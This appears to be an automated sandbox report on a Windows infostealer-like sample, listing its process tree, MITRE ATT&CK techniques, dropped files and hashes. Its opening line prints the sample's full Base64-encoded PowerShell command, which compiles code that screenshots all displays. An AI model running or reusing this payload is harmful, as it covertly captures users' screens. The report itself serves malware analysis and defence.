  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uaffu5ov\uaffu5ov.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp" "c:\Users\Admin\AppData\Local\Temp\uaffu5ov\CSCEEEFB93547104983AE717C12B336218.TMP"
      4⤵
      PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
051a74485331f9d9f5014e58ec71566c

SHA1
4ed0256a84f2e95609a0b4d5c249bca624db8fe4

SHA256
3f67e4ba795fd89d33e9a1fe7547e297a82ae50b8f25eedc2b33a27866b28888

SHA512
1f15fd8ca727b198495ef826002c1cbcc63e98eecb2e92abff48354ae668e6c3aaf9bd3005664967ae75637bacee7e730ce36142483d08ae6a068d9ae3e0e17d

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC39E.tmp

Filesize
1KB

MD5
55ad48b0a1adc657462477ee6540f1cb

SHA1
16cf6d470145ab478219ab2feb10de7bb772a39f

SHA256
3e1d26bc88c5ed9cc9fb5552fc60be1e17dc935ac04bbd7b16c30c1dcd7050a3

SHA512
86697f94312d8db0790a9731f85a75daaaf97c538a3c3eb6278c2eeb4bc55ed58ba3965bf827e396784436963a33296e94da4fadf4eb05dc63ee2dca943ed265

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0mrlrbv.h5o.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\uaffu5ov\uaffu5ov.dll

Filesize
4KB

MD5
f562d25d02ec42ee71862f3fbf04d471

SHA1
238f6e372465d25a3579e03f164a7f3ac148d047

SHA256
ff7329fc5ed97db023cf51b7ae3abea5767be4663a128970589e74d74ea2ad69

SHA512
dec7b533f48c43c7349fc80d4e8aabf44c1c707a5768396a31b7cd62e2de2f27f432c1b07797676b7dd11d1166afc833e98d93c8c4ea4f645a3167c5adadc291

Download Submit
C:\Users\Admin\AppData\Local\Temp\zcLWiJE2lZ\Display (1).png

Filesize
406KB

MD5
9498ef4b9183b17828ebfb74dcaec024

SHA1
e6444f7c63c60f465ed58b1006c31e4dba3f5aeb

SHA256
5bf7f3a358ca9ba025dc4f1eb6b7bb7c64439503672aa39f240085a44e8870da

SHA512
0146385107271db666f2e1bc40fc3b30e186e9000049c841153eac01140dcfc7b44d266ba84247f094320b60a7f08d18e7b5f3daf85e6c09870622580e1bfa7f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
9.9MB

MD5
d00d98a03bd9a78b7ce8f77ede918b7e

SHA1
c9e7ed612aa1900f972c5c26f715c0198d32e953

SHA256
d4e96fc18fb6bc975d95324f51069f5ca007334fcfd55a2c97abbbcaadac4995

SHA512
e99a44a030f92af338d8c095ca2f10e4d1b1823545fa5af8cde8de6bb6242632d3ffff5995a3577aa0a75bd731303438030034136cc5f7116e69ccbe64199db3

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uaffu5ov\CSCEEEFB93547104983AE717C12B336218.TMP

Filesize
652B

MD5
7d6521a96eb765586b0c026285a1df71

SHA1
0b89b45b0074f6f1afcaef459d342e553235d3e9

SHA256
58db641ee097541911f9c1f9583bbd972d00d8bef755f4e2cb07ee2b6227da65

SHA512
cf04de026f2587dec909d75514689fe20b08f0acb5548414cbd2aaa4c554b26d152cc6bfb77e8f9f611c557986fa460370e8c03c61dd9b1920c9a3909e3cbd0c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uaffu5ov\uaffu5ov.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uaffu5ov\uaffu5ov.cmdline

Filesize
607B

MD5
b855fa2701db0e6558add5f0665aaf13

SHA1
96b213775f3912b367b5f3b9cffd96d2e8b73f16

SHA256
1a48d9451f6277e35567b0aba53ec135e9ea08d05eca2154ddcb8708ee06c503

SHA512
0d4bf1fe1ddffadb00134384a5eaf74fc634263ce66fedb76a07a6f6d0582c6805a02075d66870c75e1c1b2cc73cdb2d019b3295615a07ffcfb6852e9280a3aa

Download Submit
memory/3288-11-0x000001A3A1D80000-0x000001A3A1DA2000-memory.dmp

Filesize
136KB

Download
memory/4076-53-0x000002A9F2B30000-0x000002A9F2B38000-memory.dmp

Filesize
32KB

Download